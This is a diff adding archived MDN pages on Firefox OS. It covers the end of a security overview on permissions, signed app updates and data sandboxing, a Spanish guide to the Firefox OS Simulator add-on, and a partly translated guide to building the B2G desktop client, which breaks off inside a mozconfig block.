+<p><img alt="" src="https://mdn.mozillademos.org/files/5027/securityframework.png" style="width: 979px; height: 591px;"></p>
+<ul>
+ <li><strong>Permission Manager</strong>: Gateway to accessing functionality in the Web API, which is the only access to the underlying hardware.</li>
+ <li><strong>Access Control List</strong>: Matrix of roles and permissions required to access Web API functionality.</li>
+ <li><strong>Credential Validation</strong>: Authentication of apps/users.</li>
+ <li><strong>Permissions Store</strong>: Set of privileges required to access Web API functionality.</li>
+</ul>
+<h2 id="Permissions_Management_and_Enforcement">Permissions Management and Enforcement</h2>
+<p>Firefox OS security is designed to verify and enforce the permissions granted to web apps.<br>
+ The system grants a particular permission to an app only if the content requests it, and only if it has the appropriate permissions requested in the app’s manifest. Some permissions require further authorization from the user, who is prompted to grant permission (as in the case of an app requesting access to the user’s current location). This app-centric framework provides more granular control over permissions than traditional role-centric approaches (in which individual roles are each assigned a set of permissions).</p>
+<p>A given Web API has a set of actions and listeners. Each Web API has a required level of permission. Every time a Web API is called, Gecko checks permission requirements (role lookup) based on:</p>
+<ul>
+ <li>permissions associated with calling app (as specified in the manifest and based on the app type)</li>
+ <li>permissions required to execute the requested operation (Web API call)</li>
+</ul>
+<p>If the request does not meet the permission criteria, then Gecko rejects the request. For example, untrusted apps cannot execute any Web APIs that are reserved for trusted apps.</p>
+<h2 id="Prompting_Users_for_Permission">Prompting Users for Permission</h2>
+<p>In addition to permissions that are implicitly associated with the web apps, certain operations require explicit permission from the user before they can be executed. For these operations, web apps are required to specify, in their manifest, their justification for requiring this permission. This <em>data usage intention</em> informs users about what the web app intends to do with this data if permission is granted, as well as any risk involved. This allows users to make informed decisions and maintain control over their data.</p>
+<h2 id="Secure_App_Update_Process">Secure App Update Process</h2>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5029/updateprocess.png" style="width: 979px; height: 102px;"></p>
+<p>For app upgrades and patches to a <em>privileged</em> app, app providers submit the updated package to an authorized Marketplace, where it is reviewed and, if approved, signed and made available to users. On Firefox OS devices, an App Update Utility periodically checks for app updates. If an update is available, then the user is asked whether they want to install it. Before a update is installed on the mobile device, the package is verified for:</p>
+<ul>
+ <li>update origin (verify the source location protocol:domain:port of the update and manifest)</li>
+ <li>file integrity (SHA-256 hash check)</li>
+ <li>code signature (certificate check against a trusted root)</li>
+</ul>
+<p>Rigorous checks are in place to ensure that the update is applied properly to the mobile phone.<br>
+ The complete update package must be downloaded in a specific and secure location before the update process begins. Installation does not overwrite any user data.</p>
+<h1 id="Device_Security_(Hardware)">Device Security (Hardware)</h1>
+<p>Security mechanisms for the mobile device hardware are typically handled by the OEM. For example, an OEM might offer SIM (Subscriber Identity Module) card locks, along with PUK (PIN Unlock Key) codes to unlock SIM cards that have become locked following incorrect PIN entries. Contact the OEM for details. Firefox OS does allow users to configure passcodes and timeout screens, which are described in the next section.</p>
+<h1 id="Data_Security">Data Security</h1>
+<p>Users can store personal data on their phone that they want to keep private, including contacts, financial information (bank &amp; credit card details), passwords, calendars, and so on. Firefox OS is designed to protect against malicious apps that could steal, exploit, or destroy sensitive data.</p>
+<h2 id="Passcode_and_Timeout_Screens">Passcode and Timeout Screens</h2>
+<p>Firefox OS allows users to set a passcode to their mobile phone so only those who supply the passcode can use the phone. Firefox OS also provides a timeout screen that is displayed after a configurable period of phone inactivity, requiring passcode authentication before resuming use of the phone.</p>
+<h2 id="Sandboxed_Data">Sandboxed Data</h2>
+<p>As described earlier, apps are sandboxed at run time. This prevents apps from accessing data that belongs to other apps <em>unless</em> that data is explicitly shared, and the app has sufficient permissions to access it.</p>
+<h2 id="Serialized_Data">Serialized Data</h2>
+<p>Web apps do not have direct read and write access to the file system. Instead, all access to storage occurs only through Web APIs. Web APIs read from, and write to, storage via a an intermediary SQLite database. There is no direct I/O access. Each app has its own data store, which is serialized to disk by the database.</p>
+<h2 id="Data_Destruction">Data Destruction</h2>
+<p>When a user uninstalls an app, all of the data (cookies, localStorage, Indexeddb, and so on) associated with that application is deleted.</p>
+<h2 id="Privacy">Privacy</h2>
+<p>Mozilla is committed to protecting user privacy and user data according to its privacy principles (<a href="https://www.mozilla.org/privacy/">https://www.mozilla.org/privacy/</a>), which stem from the Mozilla Manifesto (<a href="https://www.mozilla.org/about/manifesto.html">https://www.mozilla.org/about/manifesto.html</a>). The Mozilla Firefox Privacy Policy describes how Mozilla collects and uses information about users of the Mozilla Firefox web browser, including what Firefox sends to websites, what Mozilla does to secure data, Mozilla data practices, and so on. For more information, see:</p>
+<ul>
+ <li><a href="http://www.mozilla.org/en-US/legal/privacy/firefox.html">http://www.mozilla.org/en-US/legal/privacy/firefox.html</a></li>
+ <li><a href="https://blog.mozilla.org/privacy/">https://blog.mozilla.org/privacy/</a></li>
+ <li><a href="http://support.mozilla.org/en-US/kb/privacy-and-security-settings-firefox-os-phones">http://support.mozilla.org/en-US/kb/privacy-and-security-settings-firefox-os-phones</a></li>
+</ul>
+<p>Firefox OS implements these principles by putting the control of the user data in the hands of the user, who gets to decide where this personal information goes. Firefox OS provides the following features:</p>
+<ul>
+ <li>Do Not Track option</li>
+ <li>ability to disable Firefox browser cookies</li>
+ <li>ability to delete the Firefox OS browsing history</li>
+</ul>
+<p> </p>
diff --git a/files/es/archive/b2g_os/simulator/index.html b/files/es/archive/b2g_os/simulator/index.html
new file mode 100644
index 0000000000..e05c481b85
--- /dev/null
+++ b/files/es/archive/b2g_os/simulator/index.html
@@ -0,0 +1,258 @@
+---
+title: Simulador de Firefox OS
+slug: Archive/B2G_OS/Simulator
+translation_of: Archive/B2G_OS/Simulator
+---
+<div class="note">
+<p>El Simulador de Firefox OS está todavía en una etapa temprana de desarrollo, y aún no llega al nivel de confiabilidad que queremos.</p>
+
+<p>Si encuentra un error de cualquier tipo, <a href="https://github.com/mozilla/r2d2b2g/issues?state=open">cree un informe en GitHub</a>, y si quiere hacernos una pregunta, utilice la <a href="https://lists.mozilla.org/listinfo/dev-developer-tools">lista de correo dev-developer-tools</a> o en el canal <a href="irc://irc.mozilla.org/#devtools">#devtools de irc.mozilla.org</a> (en inglés).</p>
+</div>
+
+<p>El complemento Simulador de Firefox OS es una herramienta que le permite probar y depurar <a href="/en-US/docs/Apps" title="/en-US/docs/Apps">aplicaciones para Firefox OS</a> en el escritorio. El ciclo de «programar–probar–depurar» es mucho más rápido con el Simulador que con un dispositivo de hardware real y, obviamente, no necesitará uno para utilizarlo.</p>
+
+<p>En esencia, el complemento del Simulador consiste de:</p>
+
+<ul>
+ <li><strong>el Simulador en sí</strong>: éste incluye el <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client" title="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client">cliente de escritorio de Firefox OS</a>, que es una versión de las capas superiores de <a href="/en-US/docs/Mozilla/Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> que se ejecuta en su sistema operativo de escritorio. El Simulator también incluye algunas <a href="#Simulator-toolbar" title="#Simulator-toolbar">funciones de emulación adicionales</a> que no están disponibles en las compilaciones de Firefox OS para escritorio estándares.</li>
+ <li><strong>el tablero</strong>: una herramienta ubicada en el navegador Firefox que permite iniciar y detener el Simulador; e instalar, desinstalar y depurar aplicaciones ejecutadas en él. El tablero también le permite instalar aplicaciones en un dispositivo real, y realiza comprobaciones a los archivos <em> manifest</em> para detectar problemas comunes.</li>
+</ul>
+
+<p>La siguiente captura de pantalla muestra una sesión de depuración utilizando el Simulador.</p>
+
+<p>El tablero se encuentra en la esquina superior derecha de la imagen, ubicado en una pestaña de Firefox. Hemos añadido una aplicación empaquetada, llamada «Where am I?». En la esquina superior izquierda, hay una aplicación ejecutándose en el Simulador. Asimismo, hemos conectado las herramientas de depuración, que están en la ventana inferior. Puede ver que se ha alcanzado un punto de interrupción en la aplicación.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5139/Simulator-overview.png"></p>
+
+<p>Esta guía abarca los temas siguientes:</p>
+
+<ul>
+ <li><a href="#Installing" title="#Installing">cómo instalar el complemento del Simulador</a></li>
+ <li><a href="#Adding-updating-removing" title="#Adding-updating-removing">cómo añadir, eliminar y actualizar aplicaciones</a></li>
+ <li><a href="#Manifest-validation" title="#Manifest-validation">validación de <em>manifest</em></a></li>
+ <li><a href="#Running-the-Simulator" title="#Running-the-Simulator">cómo ejecutar el Simulador</a></li>
+ <li><a href="#Attaching-developer-tools" title="#Attaching-developer-tools">cómo conectar herramientas de desarrollo como el depurador de JS a las aplicaciones ejecutándose en el Simulador</a></li>
+ <li><a href="#Limitations" title="#Limitations">las limitaciones del Simulador al compararlo cun un dispositivo con Firefox OS real</a></li>
+</ul>
+
+<p>Para un tutorial práctivo que le muestra cómo utilizar el Simulador para depurar una aplicación web real, véase la página <a href="/en-US/docs/Tools/Firefox_OS_Simulator/Simulator_Walkthrough" title="/en-US/docs/Tools/Firefox_OS_Simulator/Simulator_Walkthrough">Paso a paso con el Simulador</a>.</p>
+
+<h2 id="Instalar_el_complemento_del_Simulador"><a name="Instalar">Instalar el complemento del Simulador</a></h2>
+
+<p>El Simulador está empaquetado y distribuido como un complemento de Firefox. Para instalarlo:</p>
+
+<ol>
+ <li>Mediante Firefox, vaya a <a href="https://addons.mozilla.org/en-US/firefox/addon/firefox-os-simulator/" title="https://addons.mozilla.org/en-US/firefox/addon/firefox-os-simulator/">la página del Simulador en addons.mozilla.org</a>.</li>
+ <li>Pulse en «Añadir a Firefox».</li>
+ <li>Una vez que se haya descargado completamente el complemento, se le solicitará instalarlo: pulse en «Instalar ahora».</li>
+</ol>
+
+<p>Debido al tamaño del complemento, Firefox puede colgarse durante unos segundos mientras se instala, y es posible que aparezca el cuadro de diálogo «Aviso: script sin respuesta». Si esto ocurre, pulse en «Continuar» y espere a que la instalación finalice. Este problema se sigue en el <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=814505" title="https://bugzilla.mozilla.org/show_bug.cgi?id=814505">error n.º 814505</a>.<br>
+ <br>
+ Una vez instalado el complemento, Firefox comprobará si hay actualizaciones regularmente y lo mantendrá actualizado automáticamente.</p>
+
+<p>Cuando instala el Simulador, el tablero se abre automáticamente; y puede volverlo a abrir en cualquier momento yendo al menú «Firefox» (o el menú «Herramientas» en OS X y Linux) ▸ «Desarrollador web» ▸ «Firefox OS Simulator»:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5141/simulator-open-on-windows-7.png" style="display: block; height: 533px; margin-left: auto; margin-right: auto; width: 453px;"><br>
+ El tablero es la herramienta que usará para añadir su aplicación al Simulador y ejecutarla. Así es como luce:<br>
+ <img alt="" src="https://mdn.mozillademos.org/files/5143/dashboard.png" style="height: 720px; width: 963px;"></p>
+
+<h2 id="Añadir_actualizar_y_desinstalar_aplicaciones"><a name="anadir-actualizar-eliminar">Añadir, actualizar y desinstalar aplicaciones</a></h2>
+
+<h3 id="Añadir_aplicaciones">Añadir aplicaciones</h3>
+
+<p>Para añadir una <a href="/en-US/docs/Apps/Packaged_apps" title="/en-US/docs/Apps/Packaged_apps">aplicación empaquetada</a> al Simulador, abra el tablero, pulse en «Añadir un directorio» y seleccione el <a href="/en-US/docs/Apps/Manifest" title="/en-US/docs/Apps/Manifest">archivo <em>manifest</em></a> para su aplicación.<br>
+ <br>
+ Para añadir una aplicación alojada en la Web, escriba un URL en el cuadro de texto «URL de página o manifest.webapp», y luego pulse en «Añadir URL». Si el URL apunta a un <em>manifest</em>, ese <em>manifest</em> se utilizará. Si no, el tablero generará un <em>manifest</em> para el URL. De este modo puede añadir cualquier sitio como aplicación con tan solo introducir su URL.<br>
+ <br>
+ Cuando añade una aplicación, el tablero ejecutará una sserie de pruebas en el archivo <em>manifest</em> para comprbar problemas comunes. Consulte la sección <a href="#Manifest-validation" title="#Manifest-validation">Validación de <em>manifest</em></a> para obtener detalles sobre las pruebas que se ejecutan.</p>
+
+<p>A menos de que la validación del <em>manifest</em> muestre que su aplicación tiene errores, el tablero ejecutará la aplicación en el Simulador automáticamente.</p>
+
+<h3 id="Gestión_de_aplicaciones">Gestión de aplicaciones</h3>
+
+<p>Una vez que ha añadido una aplicación, ésta aparecerá en la lista de aplicaciones instaladas del gestor:<br>
+ <img alt="" src="https://mdn.mozillademos.org/files/5145/dashboard-list-apps.png"><br>
+ Cada entrada proporciona información sobre la aplicación:</p>
+
+<ul>
+ <li>su nombre, tomado del <em>manifest</em></li>
+ <li>su tipo, que puede ser «Empaquetada», «Alojada» o «Generada»</li>
+ <li>un enlace a su archivo <em>manifest</em></li>
+ <li>el resultado de la validación del <em>manifest</em></li>
+</ul>
+
+<p>También proporciona tres órdenes:</p>
+
+<ul>
+ <li>«Eliminar»: elimina la aplicación del Simulador o del tablero. Puede deshacer esta operación mientras no cierre la pestaña del tablero.</li>
+ <li>«Actualizar»: utilice esta orden para actualizar la aplicación en el Simulador después de que le haya realizado cambios. Esto provoca que el tablero valide el <em>manifest</em> de nuevo. Si realiza cambios a su aplicación, éstos no se reflejarán automáticamente en la aplicación instalada: necesitará pulsar en «Actualizar» y reiniciar el Simulador si estuviera en ejecución.</li>
+ <li>«Ejecutar»: ejecuta la aplicación en el Simulador.</li>
+</ul>
+
+<p>Si ha <a href="#Push-to-device" title="#Push-to-device">conectado un dispositivo con Firefox OS</a> a su equipo, verá una cuarta orden llamada «Instalar en dispositivo».</p>
+
+<h3 id="Validación_de_manifest"><a name="Validación de manifest">Validación de <em>manifest</em></a></h3>
+
+<p>Cuando proporciona un <em>manifest</em>, el gestor ejecutará algunas pruebas de validación en él. El gestor informa tres clases de problemas:</p>
+
+<ul>
+ <li>errores del <em>manifest</em>: problemas que evitarán que la aplicación se ejecute</li>
+ <li>avisos del <em>manifest</em>: problemas que pueden evitar que la aplicación se ejecute correctamente</li>
+ <li>avisos específicos del Simulador: funciones que su aplicación utiliza que aún no son compatibles con el Simulador</li>
+</ul>
+
+<p>Se muestran resúmenes de los problemas encontrados en la entrada de la aplicación, al pulsar en los resúmenes se muestran más detalles.</p>
+
+<h4 id="Errores_del_manifest">Errores del <em>manifest</em></h4>
+
+<p>El tablero informará las condiciones siguientes como errores, lo cual significa que no podrá ejecutar su aplicación si no los corrige:</p>
+
+<ul>
+ <li>el <em>manifest</em> no incluye el campo obligatorio «name»</li>
+ <li>el <em>manifest</em> no contiene código JSON válido</li>
+ <li>la aplicación es alojada, pero el campo «<a href="/en-US/docs/Apps/Manifest#type" title="/en-US/docs/Apps/Manifest#type">type»</a> en su <em>manifest</em> es <a href="/en-US/docs/Apps/Packaged_apps#Types_of_packaged_apps" title="/en-US/docs/Apps/Packaged_apps#Types_of_packaged_apps">«privileged» o «certified»</a>, que solo están disponibles para aplicaciones empaquetadas</li>
+</ul>
+
+<p>A continuación se muestra el resultado de intentar añadir un archivo <em>manifest</em> que carece del campo «name»:<br>
+ <br>
+ <img alt="" src="https://mdn.mozillademos.org/files/5147/dashboard-missing-name.png"></p>
+
+<h4 id="Avisos_del_manifest">Avisos del <em>manifest</em></h4>
+
+<p>El tablero informará de los siguientes problemas de <em>manifest</em> como avisos:</p>
+
+<ul>
+ <li>faltan iconos</li>
+ <li>el icono es más pequeño que 128 píxeles: todas las aplicaciones enviadas al Marketplace deben tener al menos un icono de al menos 128 × 128 píxeles</li>
+ <li>el campo <a href="/en-US/docs/Apps/Manifest#type" title="/en-US/docs/Apps/Manifest#type">«type»</a> es desconocido</li>
+ <li>el <em>manifest</em> solicita un <a href="/en-US/docs/Apps/Manifest#permissions" title="/en-US/docs/Apps/Manifest#permissions">permiso</a> no reconocido</li>
+ <li>el <em>manifest</em> solicita un <a href="/en-US/docs/Apps/Manifest#permissions" title="/en-US/docs/Apps/Manifest#permissions">permiso</a> que se denegará</li>
+ <li>el <em>manifest</em> solicita un <a href="/en-US/docs/Apps/Manifest#permissions" title="/en-US/docs/Apps/Manifest#permissions">permiso</a> para el que no se pudo determinar el nivel de acceso</li>
+</ul>
+
+<h4 id="Avisos_específicos_del_Simulador">Avisos específicos del Simulador</h4>
+
+<p>Finalmente, el gestor emitirá avisos para las aplicaciones que utilicen funciones de Firefox OS que todavía no son totalmente compatibles con el Simulador:</p>
+
+<ul>
+ <li>el campo <a href="/en-US/docs/Apps/Manifest#type" title="/en-US/docs/Apps/Manifest#type">«type»</a> es «certified», pero el Simulador no es compatible completamente con aplicaciones certificadas</li>
+ <li>el <em>manifest</em> solicita un <a href="/en-US/docs/Apps/Manifest#permissions" title="/en-US/docs/Apps/Manifest#permissions">permiso</a> para usar una API que el Simulador <a href="#Unsupported-APIs" title="#Unsupported-APIs">todavía no admite</a></li>
+</ul>
+
+<h2 id="Ejecutar_el_Simulador"><a name="Ejecutar-el-Simulador">Ejecutar el Simulador</a></h2>
+
+<p>El Simulador se puede abrir de dos maneras:</p>
+
+<ul>
+ <li>si añade, actualiza o elimina una aplicación, o pulsa en el botón «Ejecutar» junto a una entrada de aplicación, el tablero abrirá automáticamente el Simulador y ejecutará su aplicación directamente</li>
+ <li>si pulsa en el botón que dice «Detenido» en el lado izquierdo del tablero, el Simulador arrancará a la pantalla de inicio y necesitará navegar hacia su aplicación</li>
+</ul>
+
+<p>Una vez que inició el Simulador mediante cualquiera de estas formas, el botón «Detenido» se vuelve verde y su etiqueta cambia a «Ejecutándose». Para detener el Simulador, pulse en este botón de nuevo.<br>
+ <br>
+ El Simulador aparece en una ventana separada cuyo tamaño simula las dimensiones de una pantalla de 320 × 480 píxeles, y posee una <a href="#Simulator-toolbar" title="#Simulator-toolbar">barra de herramientas en la parte inferior que contiene algunas funciones adicionales</a>.</p>
+
+<p>Para simular toques, puede pulsar con el ratón y arrastrar mientras mantiene oprimido el botón izquieerdo. Asi que, para ver las aplicaciones incorporadas en el sistema —y las que haya instalado—, pulse y arrastre con el ratón sobre la pantalla de inicio:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5149/simulator-homescreen.png" style="float: left; height: 638px; width: 432px;"><img alt="" src="https://mdn.mozillademos.org/files/5151/simulator-apps-screen.png" style="height: 638px; width: 432px;"></p>
+
+<h3 id="Barra_de_herramientas_del_Simulador"><a name="Barra-simulador">Barra de herramientas del Simulador</a></h3>
+
+<p>La barra de herramientas ubicada en la parte inferior de la ventana contiene tres botones:<br>
+ <br>
+ <img alt="" src="https://mdn.mozillademos.org/files/5159/simulator-toolbar.png" style="display: block; height: 190px; margin-left: auto; margin-right: auto; width: 415px;">De izquierda a derecha, son el botón «Inicio», «Simulación de giro» y «Simulación de geolocalización».</p>
+
+<ul>
+ <li>el primero le lleva a la pantalla de inicio,</li>
+ <li>el segundo conmuta la orientación de la pantalla entre horizontal y vertical. Este cambio disparará el evento <a href="/en-US/docs/WebAPI/Detecting_device_orientation" title="/en-US/docs/WebAPI/Detecting_device_orientation">«deviceorientation»</a>,</li>
+ <li>y el tercero abre un cuadro de diálogo que le pedirá compartir su ubicación geográfica, ya sea utilizando sus coordenadas actuales o proporcionando coordenadas personalizadas; la <a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">API de geolocalización</a> permite que las aplicaciones hagan uso de esta ubicación.</li>
+</ul>
+
+<h3 id="Activar_el_registro_de_consola">Activar el registro de consola</h3>
+
+<p>Si activa la casilla «Consola» que se ubica bajo el botón «Detenido/Ejecutándose», la <a href="/en-US/docs/Error_Console" title="/en-US/docs/Error_Console">Consola de errores</a> se abrirá junto al Simulador. Su aplicación podrá crear registros en esta consola mediante el bojeto global <a href="/en-US/docs/DOM/console" title="/en-US/docs/DOM/console">«console»</a>.</p>
+
+<h3 id="Adjuntar_herramientas_para_desarolladores"><a id="Adjuntando herramientas para desarolladores" name="Adjuntando herramientas para desarolladores"></a>Adjuntar herramientas para desarolladores<a name="Adjuntando herramientas para desarolladores"></a></h3>
+
+<p>Puedes adjuntar herramientas para desarrolladores en el Simulador, para ayudar a depurar tu aplicación. Por el momento, puedes adjuntar únicamente el <a href="/es/docs/Tools/Debugger">Depurador de JavaScript</a> y la <a href="/es/docs/Tools/Web_Console">Consola Web</a>, pero estamos trabajando para añadir soporte para mas herramientas para desarrolladores.</p>
+
+<p>Mientras que el Simulador esté en funcionamiento otro botón aparecerá debajo de la casilla "Consola". Está etiquetado "Conectar...":</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5167/dashboard-connect.png" style="display: block; height: 442px; margin-left: auto; margin-right: auto; width: 459px;"></p>
+
+<p>Haz clic, y te llevará a una página parecida a esta:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5163/connect-port-selection.png" style="display: block; height: 718px; margin-left: auto; margin-right: auto; width: 798px;">Haz clic en "Conectar" aquí y verás otra página, esta vez como esta:<br>
+ <br>
+ <img alt="" src="https://mdn.mozillademos.org/files/5165/connect-target-selection.png" style="display: block; height: 718px; margin-left: auto; margin-right: auto; width: 798px;"></p>
+
+<p>Para usar el <a href="/es/docs/Tools/Debugger">Depurador de JavaScript</a>, selecciona aquí "chrome://prosthesis/content/shell.xul". Una vez ejecutado, necesitarás buscar los scripts de tu aplicación en el <a href="/en-US/docs/Tools/Debugger#The_debugger_toolbar">seleccionador de script</a>, pero si abres tu aplicación y luego te conectas al depurador, el script principal de tu aplicación será seleccionado como predeterminado:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5169/js-debugger.png" style="display: block; height: 400px; margin-left: auto; margin-right: auto; width: 971px;"> Para usar la <a href="/es/docs/Tools/Web_Console">Consola Web</a> con tu aplicación, selecciona "Proceso Principal" en la ventana "Conectar a dispositivo remoto".</p>
+
+<p>Lamentablemente, no hay depuración de objetivo único que funcione con ambos la Consola Web y el Depurador JS - pero puedes ejecutar dos dos casos simultáneamente de las herramientas de depuración, una dirigida a "shell.xul" y otra a "Proceso Principal".</p>
+
+<h2 id="Subir_al_dispositivo"><a name="Push-to-device">Subir al dispositivo</a></h2>
+
+<p>Si tienes un dispositivo Firefox OS puedes conectarlo al Simulador, y por ello puedes subirlo desde el panel de control a el dispositivo.</p>
+
+<h3 id="Conectar_un_dispositivo">Conectar un dispositivo</h3>
+
+<p>Para conectar un dispositivo, sigue las instrucciones en la guía de <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Connecting_a_Firefox_OS_device_to_the_desktop" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Connecting_a_Firefox_OS_device_to_the_desktop">connecting a Firefox OS device to the desktop</a>. Recuerda que no tienes que instalar adb, ya que el complemento del Simulador ya lo incluye.</p>
+
+<p> </p>
+
+<h3 id="Subir_aplicaciones_al_dispositivo">Subir aplicaciones al dispositivo</h3>
+
+<p>Una vez que hayas configurado el dispositivo y escritorio, y conectado el dispositivo a tu escritorio mediante USB, verás aparecer el comentario "Dispositivo conectado." a la izquierda del panel de control, y un nuevo comando en la entrada por cada aplicación etiquetada "Subir":</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5227/device-connected.png"></p>
+
+<p>Click "Push", and the app will be installed on the Firefox OS device.</p>
+
+<h3 id="Solucionar_problemas_en_Linux">Solucionar problemas en Linux</h3>
+
+<p>Si no puedes conectar tu dispositivo después de crear reglas udev, por favor vea este <a href="https://github.com/mozilla/r2d2b2g/issues/515">bug</a>.</p>
+
+<p> </p>
+
+<h2 id="Limitaciones_del_Simulador"><a name="Limitations">Limitaciones del Simulador</a></h2>
+
+<p>Recuerda que el Simulador de Firefox OS no es una simulación perfecta.</p>
+
+<h3 id="Limitaciones_de_hardware">Limitaciones de hardware</h3>
+
+<p>Aparte del tamaño de la pantalla, el Simulador no simula las limitaciones de hardware del dispositivo Firefox OS tales como memoria disponible o velocidad de la CPU.</p>
+
+<h3 id="Códecs_de_AudioVideo">Códecs de Audio/Video</h3>
+
+<p>Los siguientes códecs dependen en decodificación acelerada por hardware y por lo cual no hay asistencia todavía:</p>
+
+<ul>
+ <li>MP3</li>
+ <li>AAC</li>
+ <li>H.264 (MP4)</li>
+ <li>WebM</li>
+</ul>
+
+<p>Esto significa que no es posible usar el Simulador para probar la reproducción de video en aplicaciones y en páginas web como Youtube que dependen de esos códecs.</p>
+
+<h3 id="APIs_no_admitidas"><a name="Unsupported-APIs">APIs no admitidas</a></h3>
+
+<p>Ciertas APIs que funcionan en el dispositivo no funcionarán en el Simulador, generalmente porque el soporte hardware no está disponible para el escritorio. Hemos implementado simulaciones para algunas APIs como geolocalización, y esperamos añadir más en futuras versiones. Sin embargo, por el momento las siguientes APIs no son compatibles. Usárlas podría traer errores o dar resultados incorrectos:</p>
+
+<ul>
+ <li><a href="/es/docs/Web/Guide/API/Telephony" title="/en-US/WebAPI/WebTelephony">Telephony</a></li>
+ <li><a href="/en-US/docs/WebAPI/WebSMS" title="/en-US/docs/WebAPI/WebSMS">WebSMS</a></li>
+ <li><a href="/en-US/docs/WebAPI/WebBluetooth" title="/en-US/docs/WebAPI/WebBluetooth">WebBluetooth</a></li>
+ <li><a href="/en-US/docs/WebAPI/Using_Light_Events" title="/en-US/docs/WebAPI/Using_Light_Events">Ambient Light</a></li>
+ <li><a href="/en-US/docs/WebAPI/Proximity" title="/en-US/docs/WebAPI/Proximity">Proximity</a></li>
+ <li><a href="/en-US/docs/WebAPI/Network_Information" title="/en-US/docs/WebAPI/Network_Information">Network Information</a></li>
+ <li><a href="/es/docs/Eventos_online_y_offline" title="/en-US/docs/Online_and_offline_events">eventos navigator.onLine y offline</a></li>
+ <li><a href="/es/docs/Web/Guide/API/Vibration" title="/en-US/docs/WebAPI/Vibration">Vibración</a></li>
+</ul>
+
+<h2 id="Obtener_ayuda">Obtener ayuda</h2>
+
+<p>Si encuentras algún bug, por favor <a href="https://github.com/mozilla/r2d2b2g/issues?state=open">archívalos en GitHub</a>. Si tienes alguna cuestión, preguntanos en <a href="https://lists.mozilla.org/listinfo/dev-developer-tools">dev-developer-tools mailing list</a> o en <a href="irc://irc.mozilla.org/#devtools">#devtools en irc.mozilla.org</a>.</p>
diff --git a/files/es/archive/b2g_os/usando_el_b2g_escritorio_cliente/index.html b/files/es/archive/b2g_os/usando_el_b2g_escritorio_cliente/index.html
new file mode 100644
index 0000000000..0fbbe96e02
--- /dev/null
+++ b/files/es/archive/b2g_os/usando_el_b2g_escritorio_cliente/index.html
@@ -0,0 +1,134 @@
+---
+title: Usando el cliente de escritorio B2G
+slug: Archive/B2G_OS/usando_el_B2G_escritorio_cliente
+translation_of: Archive/B2G_OS/Building_the_B2G_OS_simulator
+---
+<p>El cliente de escritorio Firefox OS, también llamado "Cliente de escritorio B2G", te permite correr Gaia y Apps Web en un entorno Gecko-based muy parecido a un dispositivo actual. No emula el hardware del dispositivo, por lo tanto no es apto para probar APIs de dispositivo, tampoco es un reemplazo para probar hardware actual. Sin embargo, tiene múltiples APIs habilitadas que no están disponibles en Firefox como las de Contactos y Opciones. Por lo tanto puede ser muy util durante el desarrollo de nuestra aplicación, o durante el trabajo con la intefaz de usuario de Gaia.</p>
+<p>Este articulo trata sobre la descarga o compilación del cliente de escritorio Firefox OS i como utilizarlo.</p>
+<div class="note">
+  <p><strong>Nota:</strong> La forma más sencilla para utilizar el cliente de escritorio de Firefox OS es utilizar el simulador de <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_Firefox_OS_simulator" title="/en-US/docs/Mozilla/Boot_to_Gecko/Using_Firefox_OS_simulator">Firefox OS</a>. No necesita de instalación de cliente por su parte.</p>
+</div>
+<h2 id="Descarga_una_compilación_nightly">Descarga una compilación "nightly"</h2>
+<div class="note">
+  <p><strong>Note:</strong> Firefox OS version 1.0 is based on a branch of Gecko 18. There are also nightly builds based on <code>mozilla-central</code> here:<br>
+    <a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central/" title="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central/">http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central/</a></p>
+</div>
+<p>Just like <a href="http://nightly.mozilla.org" title="http://nightly.mozilla.org">Firefox Nightlies</a>, the Firefox OS desktop client is built every day from the latest source code. The latest build is <a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-aurora/" title="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central/">available from the Mozilla FTP server</a>. Be sure to pick the latest version and the right archive for your operating system. This lets you bypass having to build it yourself. In addition, you don't have to download Gaia on your own either.</p>
+<p>Be sure to install the application in a writeable location; the application needs to be able to update included the Gaia profile.</p>
+<p>You can now skip ahead to <a href="#Running_the_desktop_client" title="#Running_the_desktop_client">Running the desktop client</a>, unless you actually want to build it for yourself.</p>
+<h2 id="Building_the_desktop_client">Building the desktop client</h2>
+<p>The first thing we need to do is set up a <a href="/En/Developer_Guide/Build_Instructions#Build_prerequisites" title="En/Developer_Guide/Build_Instructions#Build_prerequisites">standard Mozilla build environment</a>. Once we have that, we can pull down the code we'll need and configure to build the Firefox OS desktop client.</p>
+<h3 id="Downloading_the_code_for_the_first_time">Downloading the code for the first time</h3>
+<p>In a directory where we'd like the source code to go, let's clone the <code>mozilla-central</code> repository that contains all of Gecko:</p>
+<pre> hg clone http://hg.mozilla.org/mozilla-central
+</pre>
+<h3 id="Updating_the_code">Updating the code</h3>
+<p>When we do subsequent builds later, we'll want to make sure we have the latest code. Here's how to pull the latest changes:</p>
+<pre>cd mozilla-central
+hg pull -u
+</pre>
+<h3 id="Create_a_mozconfig">Create a mozconfig</h3>
+<p>Next, we need to create a <code>mozconfig</code> file in the <code>mozilla-central</code> directory to configure the build system to build the Boot to Gecko client instead of Firefox:</p>
+<pre>mk_add_options MOZ_OBJDIR=../build
+mk_add_options MOZ_MAKE_FLAGS="-j9 -s"
+
+ac_add_options --enable-application=b2g
+ac_add_options --disable-libjpeg-turbo
+
